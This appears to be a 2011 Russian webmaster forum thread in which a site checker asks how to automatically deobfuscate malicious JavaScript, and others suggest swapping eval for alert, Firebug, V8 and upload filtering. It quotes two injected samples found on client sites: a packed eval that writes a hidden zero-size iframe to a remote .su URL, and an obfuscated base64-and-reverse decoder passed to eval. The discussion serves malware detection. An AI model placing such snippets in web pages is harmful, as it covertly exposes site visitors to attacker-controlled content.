Master-X
Форум | Новости | Статьи
Главная » Форум » Программинг, Скрипты, Софт, Сервисы » 
Тема: Анти обфускация кода, как?
цитата
22/09/11 в 09:54
 ibiz
чем на автомате переводить подобный код в читабельный вид?

Код:
<!-- ~ --><Script Language='Javascript'>eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p= p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('2.7(\'<1 5="9://b.c/e.4?8=3" f="0" 6="0" a="d:g"></1>\')',17,17,'|iframe|document||php|src|height|write|sid|http|style|oba|su|display|go|width|none'.split('|'),0,{}))</script><!-- ~ -->


ну и чтоб универсальный под разные обфускаторы, возможно есть какой-то интерпретатор, но в исходные коды?
цитата
22/09/11 в 10:46
 Stek
А где ты такой код нашел ? Вроде есть же пол лису плагины типа firebug , показывающие уже собранный html/js . По крайней мере ранее каким то из этих плагинов и смотрел сгенерированный код.
цитата
22/09/11 в 10:52
 ibiz
Stek писал:
А где ты такой код нашел ? Вроде есть же пол лису плагины типа firebug , показывающие уже собранный html/js . По крайней мере ранее каким то из этих плагинов и смотрел сгенерированный код.


ну вообщем есть пачка сайтов, периодически надо их чекать на наличие вредоносного кода, код выше на одном из сайтов
я что-то отдаленно слышал про firebug и под хромом похожий дебаггер есть
все таки хотелось бы серверную тулзу
цитата
22/09/11 в 17:58
 freeek
unpacker
цитата
22/09/11 в 19:01
 ibiz
freeek писал:

не работает, мне нужно универсальное решение
<script language="javascript" type="text/javascript">var lOI=["\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5A\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6A\x6B\x6C\x6D\x6E\x6F\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7A\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2B\x2F\x3D","","\x63\x68\x61\x72\x41\x74","\x69\x6E\x64\x65\x78\x4F\x66","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x6C\x65\x6E\x67\x74\x68"];function llI(_1O1){var _0l1=lOI[0];var _0O1,I0O,OII,_1I1,_00O,_0IO,l10,I00,O01=0,Il1=lOI[1];do{_1I1=_0l1[lOI[3]](_1O1[lOI[2]](O01++));_00O=_0l1[lOI[3]](_1O1[lOI[2]](O01++));_0IO=_0l1[lOI[3]](_1O1[lOI[2]](O01++));l10=_0l1[lOI[3]](_1O1[lOI[2]](O01++));I00=_1I1<<18|_00O<<12|_0IO<<6|l10;_0O1=I00>>16&0xff;I0O=I00>>8&0xff;OII=I00&0xff;if(_0IO==64){Il1+=String[lOI[4]](_0O1);}else{if(l10==64){Il1+=String[lOI[4]](_0O1,I0O);}else{Il1+=String[lOI[4]](_0O1,I0O,OII);};};} while(O01<_1O1[lOI[5]]);return Il1;};function OO1(OIO){var _1ll=lOI[1],O01=0;for(O01=OIO[lOI[5]]-1;O01>=0;O01--){_1ll+=OIO[lOI[2]](O01);};return _1ll;};var I1l='7kSKlBXYjNXZfhSZwF2YzVmb1hSZ0lmc35CduVWb1N2bktTKxEzToQGbph2Qk5WZwBXYuwGbspwOdBzWpcCZhVGangSZtFmTnFGV5J0c05WZtVGbFRXZn5CduVWb1N2bkBSPgwGbsBichZnC7kCTSVlL05WZtV3YvRGK05WZu9Gct92QJJVVlR2bj5WZrcSPsJXdmcyKpIXZyJXZmVmcuQnbl1Wdj9GZoQnbl52bw12bDlkUVVGZvNmbltyJ9YWZyZyJrcyav1zYyNHdld2Pv02bj5SZ0F2YzVnZi9Wet5SawF2LvoDc0RHanASPgMmcz5SMx8kC7kyJ0BXayN2cngCduVWblxWRlRXYlJ3YuQnbl1Wdj9GZg0DIxEzTgIXY2tzJFNTJ0BXayN2cvM0MlEEMlQEMlI0MlkjMlIjMlEjMlQGby92VwITJvxGblhkMyUCOyUSZ0lmc35CduVWb1N2bkBjMlEEMlQEMlU0MlIjMlQHcpJ3YzFmdhp2L0hXZ0JjMlQ0MlUGc5RHMyUCdwlmcjN3QzUyJ9UGchN2cl9FIyFmd';eval(llI(OO1(I1l)));</script>
цитата
22/09/11 в 19:03
 dDan
Хех бро ну надо она обфускация чтобы ты не мог его на лету разобрать. вирмейкеры думаешь просто так свой хлеб едят?
цитата
22/09/11 в 19:12
 fil
если просто посмотреть, то вот простое решение:
Код:
<!-- ~ --><Script Language='Javascript'>alert(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p= p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('2.7(\'<1 5="9://b.c/e.4?8=3" f="0" 6="0" a="d:g"></1>\')',17,17,'|iframe|document||php|src|height|write|sid|http|style|oba|su|display|go|width|none'.split('|'),0,{}))</script><!-- ~ -->

т.е. замени просто eval на alert
цитата
22/09/11 в 19:23
 dDan
ну также можно сделать console.log и ловить в файрбаге но это решение для одного раза а не для автоматического декода.
а вообще ерально конечно капай в сторону V8 енджайн запускай там джс получай результат.
цитата
23/09/11 в 16:03
 Dr.Syshalt
ibiz писал:
ну вообщем есть пачка сайтов, периодически надо их чекать на наличие вредоносного кода, код выше на одном из сайтов


Ну вообще-то куда более плодотворный путь - это отсекать любой посторонний JS еще на этапе попадания его на сайт. Там у тебя что - паблик FTP с корнем на вебе, что ли? icon_smile.gif
цитата
23/09/11 в 17:12
 ibiz
Dr.Syshalt писал:
Ну вообще-то куда более плодотворный путь - это отсекать любой посторонний JS еще на этапе попадания его на сайт. Там у тебя что - паблик FTP с корнем на вебе, что ли? icon_smile.gif


тут у меня вебмастера самостоятельно добавляют сайты в систему, и сами не знают о вирусах на их сайтах, проверять вручную 2к сайтов ежедневно не вариант, чекать через сторонние сервисы долго icon_smile.gif
до этого делалася чек главной страницы на наличие JS после </html> (и ручная проверка), некоторые плагины WP туда ставят каунтеры smail101.gif


Эта страница в полной версии